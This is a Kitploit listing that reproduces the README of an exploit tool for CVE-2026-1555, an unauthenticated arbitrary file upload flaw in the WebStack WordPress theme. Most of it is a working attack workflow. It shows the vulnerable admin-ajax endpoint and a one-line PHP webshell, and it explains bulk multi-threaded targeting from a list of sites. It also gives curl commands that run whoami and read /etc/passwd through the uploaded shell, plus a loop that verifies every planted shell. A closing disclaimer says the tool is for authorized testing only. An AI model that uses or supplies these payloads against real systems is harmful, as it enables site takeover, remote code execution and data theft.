Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1555 — WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-1555
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubnxploited/cve-2026-1555

CVE-2026-1555

WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload

View Repository
914 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-1555

WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload

👤 By: Nxploited

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


💀 CVE-2026-1555 — WebStack WordPress Arbitrary File Upload

Unauthenticated Remote Code Execution via img_upload AJAX handler

Python CVE CVSS Auth


📌 Vulnerability Overview

🔬 Technical Root Cause

The io_img_upload() function registered under the WordPress admin-ajax.php action hook img_upload performs zero file type or extension validation before writing the uploaded file to the server. Because the action is registered without authentication checks (wp_ajax_nopriv_), any unauthenticated remote attacker can POST an arbitrary file — including a PHP webshell — and the server will store it in a publicly accessible path, enabling direct Remote Code Execution.

Vulnerable endpoint:

root@kitploit:~
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ Tool Features

  • 🔁 Multi-threaded scanning with configurable worker count
  • 📋 Bulk target support via a target list file
  • 📤 Automatic shell URL extraction from JSON response
  • 💾 Successful shell URLs saved to uploaded_paths.txt
  • 🎨 Rich terminal UI with live progress tracking
  • 🔕 SSL verification suppressed for maximum compatibility

📦 Requirements

Python version: 3.8+

Install dependencies:

root@kitploit:~
pip install requests rich urllib3

🚀 Usage

1. Prepare your target list

Create a file named list.txt (or any name you prefer) with one target per line:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com

Targets without http:// or https:// are automatically prefixed with http://.

2. Prepare your payload

Place your webshell in the same directory as the script. Example:

root@kitploit:~
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. Run the tool

root@kitploit:~
python CVE-2026-1555.py

You will be prompted for:


📤 Output & Shell Extraction

Live Output

Each successful upload prints:

root@kitploit:~
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

Saved Results

All successful shell URLs are appended to:

root@kitploit:~
uploaded_paths.txt

Accessing Your Shell

After a successful upload, access the shell directly via browser or curl:

root@kitploit:~
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

The exact upload path is extracted from the server's JSON response (data.src) and printed automatically.

Bulk Shell Verification

Quickly verify all uploaded shells from the output file:

root@kitploit:~
while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 Summary Output

At the end of each run, a summary is printed:

root@kitploit:~
Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ File Structure

root@kitploit:~
CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ Disclaimer

This tool is provided strictly for authorized penetration testing, security research, and educational purposes only.

The author — Nxploited — holds no responsibility for any misuse, damage, or illegal activity carried out using this tool. By using this tool, you confirm that you have explicit written permission to test all target systems.

Unauthorized use against systems you do not own or have explicit permission to test is illegal and may result in criminal prosecution under applicable cybercrime laws.

Use responsibly. You are solely accountable for your actions.


👤 Author: Nxploited 📣 Channel: Nxploited ZeroDay Hub 💬 Telegram: @KNxploited

Download Tool
FieldDetail
CVE IDCVE-2026-1555
Affected ComponentWebStack Theme for WordPress
Vulnerable VersionsAll versions up to and including 1.2024
Vulnerability TypeArbitrary File Upload → Remote Code Execution
Authentication Required❌ None (Unauthenticated)
CVSS Score9.8 CRITICAL
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
PromptDescriptionDefault
Targets filePath to your targets listlist.txt
ThreadsNumber of concurrent workers6
Local file to uploadFilename of your payload (in script dir)shell.php